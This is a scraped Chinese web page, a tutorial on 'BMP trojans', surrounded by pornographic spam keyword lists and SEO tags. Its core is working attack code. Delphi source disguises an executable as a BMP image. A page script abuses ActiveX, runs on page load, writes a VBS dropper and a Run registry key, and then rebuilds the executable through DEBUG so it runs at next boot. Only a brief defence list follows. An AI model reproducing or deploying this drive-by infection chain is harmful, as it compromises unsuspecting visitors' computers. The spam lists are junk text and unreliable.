婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 詳解BMP木馬

詳解BMP木馬

熱門標簽:臨滄移動外呼系統哪家有 溫嶺代理外呼系統 寧夏保險智能外呼系統哪家好 交行外呼系統有哪些 激戰黃昏地圖標注說明 不同的地圖標注 怎么更改地圖標注電話 防城港市ai電銷機器人 隨州銷售外呼系統平臺
首先說明這不是什么新的東西,但最近有人說我們沒有,那就隨便寫編文章放上來了,大家自己試驗一下. 何謂BMP網頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK信件)文件,放到網頁上利用IE和OE的編碼漏洞實現自動下載和執行. 
然而BMP木馬就不同,它把一個EXE文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網頁中的javascript腳本查找客戶端的Internet臨時文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄.再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊表啟動項中,在下一次開機時執行.但是這種技術只能在9X下發揮作用,對于2K,XP來說是無能為力了. 

看上去好象很復雜,下面我們一步一步來: 
1) EXE變BMP的方法. 
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個字節,簡單來說里面包含了BMP文件的長寬,位數,文件大小,數據區長度,我們只要在EXE文件的文件頭前面添加相應的BMP文件頭(當然BMP文件頭里面的數據要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗,發現如果文件頭不正確的話,IE是不會下載的,轉換代碼如下: 

program exe2bmp; 

uses 
Windows, 
SysUtils; 

var len,row,col,fs: DWORD; 
buffer: array[0..255]of char; 
fd: WIN32_FIND_DATA; 
h,hw: THandle; 

begin 
if (ParamStr(1)>) and(ParamStr(2)>) then begin //如果運行后沒有兩個參數則退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd); 
fs:=fd.nFileSizeLow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else Break; 
end; 
FillChar(buffer,256,0); 
{一下為BMP文件頭數據} 
Buffer[0]:=B;Buffer[1]:=M; 
PDWORD(@buffer[18])^:=col; 
PDWORD(@buffer[22])^:=row; 
PDWORD(@buffer[34])^:=len; 
PDWORD(@buffer[2])^:=len+54; 
PDWORD(@buffer[10])^:=54; 
PDWORD(@buffer[14])^:=40; 
PWORD(@buffer[26])^:=1; 
PWORD(@buffer[28])^:=24; 
{寫入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); 
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); 
WriteFile(hw,buffer,54,col,0); 
repeat 
ReadFile(h,buffer,256,col,0); 
WriteFile(hw,buffer,col,col,0); 
untilcol>256; 
WriteFile(hw,buffer,len-fs,col,0); 
CloseHandle(h); 
CloseHandle(hw); 
end; 
end; 
end. 


以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家打開MSDOS方式,輸入 
exe2bmp myexe.exe mybmp.bmp 
回車就可以把第二個參數所指定的EXE文件轉換成BMP格式. 
接著就是把這個BMP圖片放到網頁上了,如果大家打開過這張圖片的話,一定發現這張BMP又花,顏色又單調.所以大家放在網頁上最好用這樣的格式 


以下是放在網頁上的腳本 
document.write( ); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228}); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+\\s.vbs; 
wsh.RegWrite 
(HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs,wscript +"+vbs+" ); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(Option Explicit); 
st.WriteLine(Dim FSO,WSH,CACHE,str); 
st.WriteLine(Set FSO = CreateObject("Scripting.FileSystemObject")); 
st.WriteLine(Set WSH = CreateObject("WScript.Shell")); 
st.WriteLine(CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")); 
st.WriteLine(wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")); 
st.WriteLine (wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"); 
st.WriteLine(SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"); 
st.WriteLine(WScript.Quit()); 
st.WriteLine(Function SearchBMPFile(Folder,fname)); 
st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys); 
st.WriteLine( str=FSO.GetParentFolderName(folder)  "\\"  folder.name  "\\"  fname); 
st.WriteLine( if FSO.FileExists(str) then); 
st.WriteLine( tmp=fso.GetSpecialFolder(2)  "\\"); 
st.WriteLine( winsys=fso.GetSpecialFolder(1)  "\\"); 
st.WriteLine( set File=FSO.GetFile(str)); 
st.WriteLine( File.Copy(tmp  "tmp.dat")); 
st.WriteLine( File.Delete); 
st.WriteLine( set Lt=FSO.CreateTextFile(tmp  "tmp.in")); 
st.WriteLine( Lt.WriteLine("rbx")); 
st.WriteLine( Lt.WriteLine("0")); 
st.WriteLine( Lt.WriteLine("rcx")); 
st.WriteLine( Lt.WriteLine("1000")); 
st.WriteLine( Lt.WriteLine("w136")); 
st.WriteLine( Lt.WriteLine("q")); 
st.WriteLine( Lt.Close); 
st.WriteLine( WSH.Run "command /c debug "  tmp  "tmp.dat "  tmp  "tmp.in >"  tmp  "tmp.out",false,6); 
st.WriteLine( On Error Resume Next ); 
st.WriteLine( FSO.GetFile(tmp  "tmp.dat").Copy(winsys  "tmp.exe")); 
st.WriteLine( FSO.GetFile(tmp  "tmp.dat").Delete); 
st.WriteLine( FSO.GetFile(tmp  "tmp.in").Delete); 
st.WriteLine( FSO.GetFile(tmp  "tmp.out").Delete); 
st.WriteLine( end if); 
st.WriteLine( If Folder.SubFolders.Count > 0 Then); 
st.WriteLine( For Each SubFolder In Folder.SubFolders); 
st.WriteLine( SearchBMPFile SubFolder,fname); 
st.WriteLine( Next); 
st.WriteLine( End If); 
st.WriteLine(End Function); 
st.Close(); 
} 
setTimeout(docsave(),1000); 

把該腳本保存為"js.js",在網頁中插入: 


該腳本主要會在本地機器的SYSTEM目錄下生成一個“S.VBS”文件,該腳本文件會在下次開機時自動運行。主要用于從臨時目錄中找出mybmp[1].bmp文件。 
“S.VBS”文件主要內容如下: 

Option Explicit 
Dim FSO,WSH,CACHE,str 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSH = CreateObject("WScript.Shell") 
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") 
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") 
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" 
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" 
WScript.Quit() 
Function SearchBMPFile(Folder,fname) 
Dim SubFolder,File,Lt,tmp,winsys 
從臨時文件夾中查找目標BMP圖片 
str=FSO.GetParentFolderName(folder)  "\"  folder.name  "\"  fname 
if FSO.FileExists(str) then 
tmp=fso.GetSpecialFolder(2)  "\" 
winsys=fso.GetSpecialFolder(1)  "\" 
set File=FSO.GetFile(str) 
File.Copy(tmp  "tmp.dat") 
File.Delete 
生成一個DEBUG腳本 
set Lt=FSO.CreateTextFile(tmp  "tmp.in") 
Lt.WriteLine("rbx") 
Lt.WriteLine("0") 
Lt.WriteLine("rcx") 
下面一行的1000是十六進制,換回十進制是4096(該數字是你的EXE文件的大小) 
Lt.WriteLine("1000") 
Lt.WriteLine("w136") 
Lt.WriteLine("q") 
Lt.Close 
WSH.Run "command /c debug "  tmp  "tmp.dat "  tmp "tmp.in>"  tmp  "tmp.out",false,6 
On Error Resume Next 
FSO.GetFile(tmp  "tmp.dat").Copy(winsys  "tmp.exe") 
FSO.GetFile(tmp  "tmp.dat").Delete 
FSO.GetFile(tmp  "tmp.in").Delete 
FSO.GetFile(tmp  "tmp.out").Delete 
end if 
If Folder.SubFolders.Count > 0 Then 
For Each SubFolder In Folder.SubFolders 
SearchBMPFile SubFolder,fname 
Next 
End If 
End Function 

這個腳本會找出在臨時文件夾中的bmp文件,并生成一個DEBUG的腳本,運行時會自動從BMP文件54字節處讀去你指定大小的數據,并把它保存到tmp.dat中.后面的腳本再把它復制到SYSTEM的目錄下.這個被還原的EXE文件會在下次重起的時候運行.這就是BMP木馬的基本實現過程. 
詳細腳本代碼請參考http://hotsky.363.net 

防范方法: 
最簡單,刪除或改名wscrpit.exe文件和DEBUG 文件; 
安裝有效的殺毒軟件,因為這些腳本有好多殺毒軟件已經可以查出來了. 
在條件允許的情況下,安裝WIN2K SP3,盡量避免去一些不名來歷的網站. 

標簽:忻州 青海 哈密 沈陽 河源 無錫 阜陽 紅河

巨人網絡通訊聲明:本文標題《詳解BMP木馬》,本文關鍵詞  詳解,BMP,木馬,詳解,BMP,木馬,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《詳解BMP木馬》相關的同類信息!
  • 本頁收集關于詳解BMP木馬的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    9191成人精品久久| 欧美一区二区私人影院日本| 欧美熟乱第一页| 一区二区在线观看免费| 国产福利一区二区三区视频在线| 日韩你懂的在线观看| 国模无码大尺度一区二区三区| 精品国产乱码久久久久久图片| 美女网站一区二区| 久久欧美一区二区| 99久久精品国产精品久久| 亚洲人亚洲人成电影网站色| 色猫猫国产区一区二在线视频| 一级中文字幕一区二区| 欧美一三区三区四区免费在线看| 精品一区精品二区高清| 国产精品每日更新在线播放网址| 91丝袜高跟美女视频| 日韩精品乱码av一区二区| 久久精品水蜜桃av综合天堂| 色综合久久综合网| 免费xxxx性欧美18vr| 国产日韩欧美不卡在线| 91国在线观看| 国产一区二区三区在线观看免费 | 中文字幕视频一区二区三区久| 色综合色综合色综合色综合色综合| 五月综合激情日本mⅴ| 国产亚洲精久久久久久| 欧美熟乱第一页| 国产99久久久国产精品| 午夜欧美视频在线观看| 国产精品嫩草影院com| 欧美喷潮久久久xxxxx| 成人午夜在线播放| 麻豆国产精品一区二区三区| 亚洲综合在线五月| 中文字幕av免费专区久久| 91精品国产综合久久精品| 色猫猫国产区一区二在线视频| 国产成人亚洲综合a∨猫咪| 日韩中文字幕不卡| 亚洲制服欧美中文字幕中文字幕| 亚洲国产精品成人久久综合一区| 26uuu亚洲婷婷狠狠天堂| 正在播放一区二区| 欧美丰满少妇xxxbbb| 欧美日韩亚州综合| 91精品福利在线| 色偷偷成人一区二区三区91 | 成人激情午夜影院| 国产在线精品一区二区不卡了| 亚洲va国产天堂va久久en| 亚洲人一二三区| 综合精品久久久| 国产精品免费视频一区| 精品乱人伦小说| 91精品国产乱| 日韩一区二区精品葵司在线 | 色哟哟国产精品| 99精品欧美一区二区三区小说| 国产精品自拍在线| 日韩av一级电影| 亚洲午夜精品网| 性做久久久久久免费观看| 亚洲精品视频在线观看网站| 日韩一区欧美一区| 亚洲男人天堂一区| 一区二区激情视频| 亚洲国产日韩综合久久精品| 亚洲高清一区二区三区| 亚洲图片自拍偷拍| 日韩和欧美的一区| 精品亚洲国产成人av制服丝袜 | 日韩一区二区三区免费看| 欧美日韩五月天| 91精品在线免费观看| 这里只有精品视频在线观看| 精品国产sm最大网站| 久久久99精品久久| 亚洲欧美综合色| 天堂va蜜桃一区二区三区漫画版| 日韩在线a电影| 国产美女视频91| 91香蕉视频污在线| 91精品国产综合久久香蕉麻豆| 精品裸体舞一区二区三区| 国产精品高潮久久久久无| 依依成人精品视频| 毛片av一区二区三区| 波多野结衣在线一区| 欧美久久久久久久久| 国产欧美日韩不卡免费| 一区二区三区高清在线| 国产美女在线精品| 欧美日韩视频在线第一区 | 精品国产免费人成在线观看| 中文字幕乱码日本亚洲一区二区| 亚洲欧美日韩电影| 青草国产精品久久久久久| 成人激情综合网站| 欧美精品日韩一区| 国产精品久久久久久久久动漫| 樱花影视一区二区| 国产精品1区2区3区| 欧美三区在线观看| 久久九九久久九九| 亚洲尤物视频在线| 国产成人av自拍| 欧美一区永久视频免费观看| 国产精品女主播av| 国产一区二三区好的| 欧美剧情电影在线观看完整版免费励志电影 | 一区二区三区波多野结衣在线观看| 国产一区二区三区久久久| 国产成人精品www牛牛影视| 五月天一区二区三区| 国产日韩精品一区| 亚洲一区二区免费视频| 成人小视频免费观看| 欧美一区二区三区系列电影| 一区二区三区精品| 91在线免费播放| 国产欧美在线观看一区| 亚洲成av人片一区二区| 色8久久精品久久久久久蜜| 成人免费视频app| 日韩电影在线观看电影| 欧美国产日本韩| 欧美区视频在线观看| www.激情成人| 精品中文av资源站在线观看| 一区二区三区毛片| 亚洲一区二区三区美女| 日韩三级在线观看| 91高清在线观看| 国产一区不卡精品| 九一九一国产精品| 亚洲精品日韩专区silk| 日韩精品中午字幕| 91精品国产色综合久久不卡蜜臀| 成人激情黄色小说| 94色蜜桃网一区二区三区| 岛国一区二区在线观看| 蜜芽一区二区三区| 五月婷婷久久综合| 麻豆国产精品一区二区三区| 奇米综合一区二区三区精品视频| 日韩成人精品在线| 国产美女一区二区三区| 91免费在线播放| 欧美福利电影网| 国产一区美女在线| 国产在线精品免费| 日本丶国产丶欧美色综合| 欧美另类一区二区三区| 成人毛片视频在线观看| 亚洲一区二区欧美| 日韩在线播放一区二区| 美腿丝袜亚洲综合| 久久久久久亚洲综合| 日韩精品专区在线影院重磅| 91成人国产精品| 亚洲精品一区二区三区99| 国产99久久久国产精品免费看| 亚洲三级免费电影| 欧美日本在线播放| 经典一区二区三区| 国产精品传媒入口麻豆| 制服丝袜亚洲网站| 国产69精品久久99不卡| 亚洲图片欧美综合| 精品久久久久久久久久久久包黑料 | 亚洲欧美精品午睡沙发| 一区二区三区资源| 岛国精品在线观看| 欧美精品一区视频| 中文字幕综合网| 久久国产综合精品| 欧美日韩激情一区二区| 亚洲精品国产成人久久av盗摄| 九九热在线视频观看这里只有精品| 色婷婷激情综合| 欧美激情综合在线| 国产精品88av| 欧美韩国日本综合| 国产suv精品一区二区883| 欧美大片一区二区三区| 麻豆免费精品视频| 欧美一区二区精美| 国产精品99久| 色哟哟欧美精品| 国产乱码精品1区2区3区| 日韩女优视频免费观看| 日韩精品一区二区三区在线播放| 亚洲三级免费观看| 国产三级精品视频| 麻豆传媒一区二区三区| 欧美性色综合网| 日本中文字幕不卡|